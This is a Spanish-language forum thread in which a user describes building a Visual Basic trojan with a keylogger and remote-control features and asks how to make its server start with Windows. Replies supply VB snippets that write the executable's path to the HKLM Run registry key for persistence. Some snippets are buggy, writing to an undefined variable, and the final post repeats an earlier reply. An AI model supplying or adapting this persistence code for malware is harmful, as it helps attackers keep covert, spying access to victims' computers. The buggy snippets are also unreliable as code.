Como ejecuto el server de mi troyano con windows

[Mr.k-bron]

Bueno estoy programando un troyano en visual basic y ya tengo casi todo echo. El troyano tiene varias funciones como abrir y cerrar cd, apagar la compu, un keyloger y oculta la bandeja de inicio...pero eso no viene al caso, el caso es he buscado por ahi un codigo para que el server se ejecute al inicio de windows y no lo he encontrado Quiero saber si tiene algun codigo o idea que me puedan brindar. Se lo agradecere

[Mr.k-bron]

Bueno segui buscando y encontre algo

Código:

Private Sub Command1_Click()
Dim RegistroEXE As Object
Dim RutaEXE As String
Dim CadenaNueva As String
Dim ContenidoCadena As String

ContenidoCadena = "c:\mi carpeta\mi.exe"
CadenaNueva = "\unEjecutable"
RutaWEB = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _"\CurrentVersion\Run" & CadenaNueva

Set RegistroEXE = CreateObject("WScript.Shell")

RegistroEXE.RegWrite RutaEXE, ContenidoCadena
End Sub

[Mr.k-bron]

Con Apis sería así

Código:

Private Sub Command1_Click()
Dim RegistroEXE As Object
Dim ContenidoCadena As String, RutaWeb as string

ContenidoCadena = "c:\mi carpeta\mi.exe"
RutaWeb = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ejecutable"
Set RegistroEXE = CreateObject("WScript.Shell")

RegistroEXE.RegWrite RutaEXE, ContenidoCadena
End Sub

[Mr.k-bron]

ya encontre algo mas
Para ver este enlace Registrate o Inicia Sesion

[Mr.k-bron]

 No me fucionaron los code o es que no se usarlos? Estos code van en el server verdad?

[ziBboh]

creo que esto te funcionará:

Código:

Dim Cualquier As Object
    Set Cualquier = CreateObject("WScript.Shell")
 Cualquier.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Cualquier", "C:\Cualquier.EXE"
Set Cualquier = Nothing

Te recomiendo buscar un poco mas o adaptar bien el codigo a tu programa.

[Mr.k-bron]

creo que esto te funcionará:

Código:

Dim Cualquier As Object
    Set Cualquier = CreateObject("WScript.Shell")
 Cualquier.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Cualquier", "C:\Cualquier.EXE"
Set Cualquier = Nothing

Te recomiendo buscar un poco mas o adaptar bien el codigo a tu programa.

Ok muchas gracias